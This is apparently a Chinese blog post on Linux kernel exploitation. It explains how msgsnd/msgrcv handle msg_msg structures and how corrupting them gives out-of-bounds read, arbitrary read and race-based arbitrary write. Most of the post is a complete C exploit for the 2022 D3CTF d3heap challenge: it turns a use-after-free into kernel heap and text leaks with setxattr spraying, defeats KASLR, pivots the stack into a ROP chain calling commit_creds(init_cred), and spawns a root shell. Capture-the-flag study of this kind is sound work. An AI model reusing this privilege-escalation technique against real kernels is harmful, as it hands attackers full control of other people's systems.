利用msg_msg实现任意地址读写

利用msg_msg实现任意地址读写

msgsnd和msgrcv的源码分析

内核通过msgsnd和msgrcv来进行IPC通信。内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着的消息数据。整个内核消息的长度是从kmalloc-64到kmalloc-4096`。

/* one msg_msg structure for each message */ struct msg_msg { 	struct list_head m_list; 	long m_type; 	size_t m_ts;		/* message text size */ 	struct msg_msgseg *next; 	void *security; 	/* the actual message follows immediately */ }; 

msgsnd发送数据调用链及方法

调用链:通过msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()来分配消息头和消息的数据,接着通过load_msg() -> copy_from_user()来将用户数据拷贝进内核。

使用方法:例如我们想要发送一个包含0x1000个'A'的消息,代码如下:

struct msgbuf {     long mtype;     char mtext[0x1000]; } msg;  msg.mtype = 1; memset(msg.mtext, 'A', sizeof(msg.mtext));  qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)); msgsnd(qid, &msg, sizeof(msg.mtext), 0); 

此外如果消息长度超过0xfd0,那么就会采取分段储存的方式,采用单向链表进行连接。第一个称作消息头,用msg_msg结构进行储存,第二个和第三个称作segment,用msg_msgseg结构进行储存。消息的最大长度由/proc/sys/kernel/msgmax确定,默认大小为8192个字节,所以最多连接三个成员。

msgrcv接收数据的调用链及方法

调用链msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。通过find_msg来定位消息,并将消息从队列中unlink,再调用do_msg_fill() -> store_msg()来将消息从内核空间拷贝到用户空间,最后调用free_msg释放消息。

使用方法:例如我们想要接收一个包含0x1000个'A'的消息,代码如下:

void *memdump = malloc(0x1000); msgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); 

此外值得注意的是:如果用flag:MSG_COPY来调用msgrcv(),就会调用prepare_copy()分配临时消息,并调用copy_msg()将请求的数据拷贝到该临时消息。在将消息拷贝到用户空间之后,原始消息会被保留,不会从队列中unlink,而是直接goto out_unlock0,然后调用free_msg()删除该临时消息,有些题目中这一点对于利用很重要。为什么?因为有些题目漏洞在UAF的时候,没有泄露正确地址,所以会破坏msg_msg->m_list双链表指针,unlink会触发崩溃。如果某漏洞可以跳过前16字节,那就不需要注意这一点。

数据泄露

越界读取数据

在拷贝数据的时候,我们对数据长度的判断主要是依靠msg_msg->m_ts。所以我们可以想到如果我们可以控制某一个消息的msg_msg使得msg_msg->m_ts被改为一个较大的数,那么我们就能够实现越界读取数据。

任意地址读取

对于大于0xfd0的数据,内核会在msg_msg的基础上再加上msg_msgseg结构体,形成一个单向链表,如果我们能够同时控制msg_msg->m_tsmsg_msg->next,我们便可以实现任意地址读。但是这里需要注意的是,无论我们采用MSG_COPY还是常规消息接收,拷贝消息的主要依据还是msg_msg->next,所以为了避免遍历消息时出现访存崩溃,实现对特定地址以后数据的读取,我们需使得segment的前8字节为NULL

任意地址写

我们可以通过结合userfaultfd或者FUSE实现race condition。当我们在调用msgsnd 系统调用时,其会继续调用load_msg将用户数据拷贝到内核空间中。它会先调用alloc_msg分配msg_msg的单向链表,之后才会进行数据的拷贝过程。所以这里的空间分配和数据拷贝实际上是分开进行的。故我们不难想到,在拷贝时利用userfaultfd或者FUSE将拷贝停止下来,并在子进程中篡改msg_msg->next,恢复拷贝后即可向我们篡改后的地址上写入数据,从而实现任意地址写。

例题:2022d3CTF-d3heap

exp:(对着arttnba3师傅的exp改了改)

#define _GNU_SOURCE #include <fcntl.h> #include <pthread.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/ioctl.h>  #define PREPARE_KERNEL_CRED 0xffffffff810d2ac0 #define INIT_CRED 0xffffffff82c6d580 #define COMMIT_CREDS 0xffffffff810d25c0 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0 #define POP_RDI_RET 0xffffffff810938f0 #define SECONDARY_STARTUP_64 0xffffffff81000040  size_t user_cs, user_ss, user_sp, user_rflags; size_t kernel_offset, kernel_base = 0xffffffff81000000; size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;  int fd; int pipe_fd, pipe_fd1[2], pipe_fd2[2];  void ErrExit(char* err_msg) { 	puts(err_msg); 	exit(-1); }  void add() { 	ioctl(fd, 0x1234); }  void delete() { 	ioctl(fd, 0xdead); }  void save_status() { 	__asm__( 	"mov user_cs, cs;" 	"mov user_ss, ss;" 	"mov user_sp, rsp;" 	"pushf;" 	"pop user_rflags;" 	);         printf("33[34m33[1m[+] save the state success!33[0mn"); }  void get_shell() { 	if (getuid() == 0) 	{ 		printf("33[32m33[1m[+] get root shell !33[0mn"); 		system("/bin/sh"); 		//char *shell = "/bin/sh"; 		//char *args[] = {shell, NULL}; 		//execve(shell, args, NULL); 	} 	else 	{ 		printf("33[31m33[1m[-] get shell error !33[0mn"); 		exit(0); 	} }  size_t kernelLeakQuery(size_t kernel_text_leak) { 	size_t kernel_offset = 0xdeadbeef; 	switch (kernel_text_leak & 0xfff) 	{ 		case 0x6e9: 			kernel_offset = kernel_text_leak - 0xffffffff812b76e9;    			break; 		case 0x980: 			kernel_offset = kernel_text_leak - 0xffffffff82101980; 			break; 		case 0x440: 			kernel_offset = kernel_text_leak - 0xffffffff82e77440; 			break; 		case 0xde7: 			kernel_offset = kernel_text_leak - 0xffffffff82411de7; 			break; 		case 0x4f0: 			kernel_offset = kernel_text_leak - 0xffffffff817894f0; 			break; 		case 0xc90: 			kernel_offset = kernel_text_leak - 0xffffffff833fac90; 			break; 		case 0x785: 			kernel_offset = kernel_text_leak - 0xffffffff823c3785; 			break; 		case 0x990: 			kernel_offset = kernel_text_leak - 0xffffffff810b2990; 			break; 		case 0x900: 			kernel_offset = kernel_text_leak - 0xffffffff82e49900; 			break; 		case 0x8b4: 			kernel_offset = kernel_text_leak - 0xffffffff8111b8b4; 			break; 		case 0xc40: 			kernel_offset = kernel_text_leak - 0xffffffff8204ac40; 			break; 		case 0x320: 			kernel_offset = kernel_text_leak - 0xffffffff8155c320; 			break; 		case 0xee0: 			kernel_offset = kernel_text_leak - 0xffffffff810d6ee0; 			break; 		case 0x5e0: 			kernel_offset = kernel_text_leak - 0xffffffff810e55e0; 			break; 		case 0xe80: 			kernel_offset = kernel_text_leak - 0xffffffff82f05e80; 			break; 		case 0x260: 			kernel_offset = kernel_text_leak - 0xffffffff82ec0260; 			break; 		default: 			puts("[-] fill up your dict!"); 			break; 	} 	if ((kernel_offset % 0x100000) != 0) 		kernel_offset = 0xdeadbeef; 	return kernel_offset; }  typedef struct { 	long mtype; 	char mtext[1]; }msg;  struct list_head { 	struct list_head *next, *prev; };  /* one msg_msg structure for each message */ struct msg_msg  { 	struct list_head m_list; 	long m_type; 	size_t m_ts;        /* message text size */ 	void *next;         /* struct msg_msgseg *next; */ 	void *security;     /* NULL without SELinux */ 	/* the actual message follows immediately */ };  int main() { 	size_t *buf; 	size_t kernel_heap_leak; 	size_t kernel_heap_search; 	size_t kernel_text_leak; 	size_t page_offset_base_guess; 	size_t msg_offset, msg_offset_count; 	size_t fake_ops_addr, fake_ops_offset, kmsg_addr; 	int kmsg_idx; 	int ms_qid[0x100]; 	int ret;  	cpu_set_t cpu_set;  	CPU_ZERO(&cpu_set); 	CPU_SET(0, &cpu_set); 	sched_setaffinity(0, sizeof(cpu_set), &cpu_set);  	save_status(); 	 	buf = (size_t*)malloc(0x4000); 	memset(buf, 0, 0x4000);  	fd = open("/dev/d3kheap", O_RDONLY); 	if(fd < 0) 		ErrExit("[-] open d3heap error");  	add(); 	delete(); 	 	for (int i = 0; i < 5; i++) 	{ 		ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); 		if (ms_qid[i] < 0) 		{ 			puts("[x] msgget!"); 			return -1; 		} 	}      	for (int i = 0; i < 5; i++) 	{ 		memset(buf, 'A'+i, 0X1000 - 8); 		ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0); 		if (ret < 0) 		{ 			puts("[x] msgsnd!"); 			return -1; 		} 	} 	 	delete(); 	 	memset(buf, 'B', 0x1000); 	((struct msg_msg*) buf)->m_list.next = NULL; 	((struct msg_msg*) buf)->m_list.prev = NULL; 	((struct msg_msg*) buf)->m_type = 0; 	((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30; 	((struct msg_msg*) buf)->next = NULL; 	((struct msg_msg*) buf)->security = NULL;  	setxattr("/exp", "FXC", buf, 1024-0x30, 0);  	ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); 	if (ret < 0) 		ErrExit("[-] msgrcv error");  	for (int i = 0; i < ((0x1000 - 0x30) / 8); i++) 	{ 		printf("[----data dump----][%3d] 0x%lxn", i, buf[i]); 		if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30))) 		{ 			printf("33[32m33[1m[+] We got heap leak! kheap: 0x%lx33[0mn", buf[i]); 			kernel_heap_leak = buf[i]; 			kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A'); 			fake_ops_offset = i * 8 + 0x30 - 8; 		} 		if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak) 		{ 			printf("33[32m33[1m[+] We got text leak! ktext: 0x%lx33[0mn", buf[i]); 			kernel_offset = kernelLeakQuery(buf[i]); 			printf("33[32m33[1m[+] kernel offset: 0x%lx33[0mn", kernel_offset); 			if (kernel_offset != 0xdeadbeef) 			{ 				kernel_text_leak = buf[i]; 				kernel_base += kernel_offset; 			} 		} 		if (kernel_text_leak && kernel_heap_leak) 			break; 	}  	if (!kernel_heap_leak) 		ErrExit("33[31m33[1m[-] Failed to leak kernel heap!33[0mn");  	//if (!kernel_text_leak) 	//	ErrExit("33[31m33[1m[-] Failed to leak kernel text!33[0mn");  	((struct msg_msg*) buf)->m_list.next = NULL; 	((struct msg_msg*) buf)->m_list.prev = NULL; 	((struct msg_msg*) buf)->m_type = 0; 	((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 -8; 	((struct msg_msg*) buf)->next = (void*)(kernel_heap_leak - 8); // q_messages - 8 	((struct msg_msg*) buf)->security = NULL;  	setxattr("/exp", "FXC", buf, 1024-0x30, 0);  	ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30 -8, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); 	if (ret < 0) 		ErrExit("[-] msgrcv error");  	kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1]; 	fake_ops_addr = kmsg_addr - fake_ops_offset; 	printf("33[32m33[1m[+] UAF as fake ops addr at: 0x%lx, cal by msg idx: %d at addr: 0x%lx33[0mn", fake_ops_addr, kmsg_idx, kmsg_addr);  	kernel_heap_search = kmsg_addr - 8; 	for (int leaking_times = 0; !kernel_text_leak; leaking_times++) 	{ 		printf("[*] per leaking, no.%d time(s)n", leaking_times);      		((struct msg_msg*) buf)->m_list.next = NULL; 		((struct msg_msg*) buf)->m_list.prev = NULL; 		((struct msg_msg*) buf)->m_type = 0; 		((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30; 		((struct msg_msg*) buf)->next = (void*)kernel_heap_search; 		((struct msg_msg*) buf)->security = NULL;  		setxattr("/exp", "FXC", buf, 1024-0x30, 0); 		printf("[*] Now searching: 0x%lxn", kernel_heap_search);  		ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);         	if (ret < 0) 			ErrExit("[-] msgrcv error");  		msg_offset_count = 0; 		msg_offset = 0xdeadbeefbad4f00d; 		for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++) 		{ 			printf("[----data dump----][%3d] 0x%lxn", i, buf[i]); 			if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak) 			{ 				printf("33[32m33[1m[+] We got text leak! ktext: 0x%lx33[0mn", buf[i]); 				kernel_offset = kernelLeakQuery(buf[i]); 				if (kernel_offset != 0xdeadbeef) 				{ 					kernel_text_leak = buf[i]; 					kernel_base += kernel_offset; 					break; 				} 			} 			if (!buf[i]) 				msg_offset = msg_offset_count * 8; 			msg_offset_count++; 		}  		if (kernel_text_leak) 			break;  		if (msg_offset == 0xdeadbeefbad4f00d) 			ErrExit("[-] Failed to find next valid foothold!");  		kernel_heap_search += msg_offset;// to make the msg_msg->next == NULL, search from the last NULL 	}  	printf("33[32m33[1m[+] kernel offset: 0x%lx33[0mn", kernel_offset); 	printf("33[32m33[1m[+] kernel base: 0x%lx33[0mn", kernel_base);  	((struct msg_msg*) buf)->m_list.next = (struct list_head *)kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass 	((struct msg_msg*) buf)->m_list.prev = (struct list_head *)kernel_heap_search; 	((struct msg_msg*) buf)->m_type = 0; 	((struct msg_msg*) buf)->m_ts = 1024 - 0x30; 	((struct msg_msg*) buf)->next = NULL; 	((struct msg_msg*) buf)->security = NULL;  	// while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg 	setxattr("/exp", "FXC", buf, 1024-0x30, 0);  	ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg 	if (ret < 0) 		ErrExit("[-] msgrcv error");  	ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A 	if (ret < 0) 		ErrExit("[-] msgrcv error");  	pipe(pipe_fd1); 	pipe_fd = pipe_fd1[1]; 	pipe(pipe_fd2);  	memset(buf, 'B', 0x1000); 	buf[2] = fake_ops_addr; 	buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret  	// construct ROP 	int rop_idx = 4; 	buf[rop_idx++] = POP_RDI_RET + kernel_offset; 	buf[rop_idx++] = INIT_CRED + kernel_offset; 	buf[rop_idx++] = COMMIT_CREDS + kernel_offset; 	buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset; 	buf[rop_idx++] = 0; 	buf[rop_idx++] = 0; 	buf[rop_idx++] = (size_t)get_shell; 	buf[rop_idx++] = user_cs; 	buf[rop_idx++] = user_rflags; 	buf[rop_idx++] = user_sp; 	buf[rop_idx++] = user_ss;  	setxattr("/exp", "FXC", buf, 1024-0x30, 0);  	close(pipe_fd1[0]); 	close(pipe_fd1[1]);  	return 0; }  

发表评论

相关文章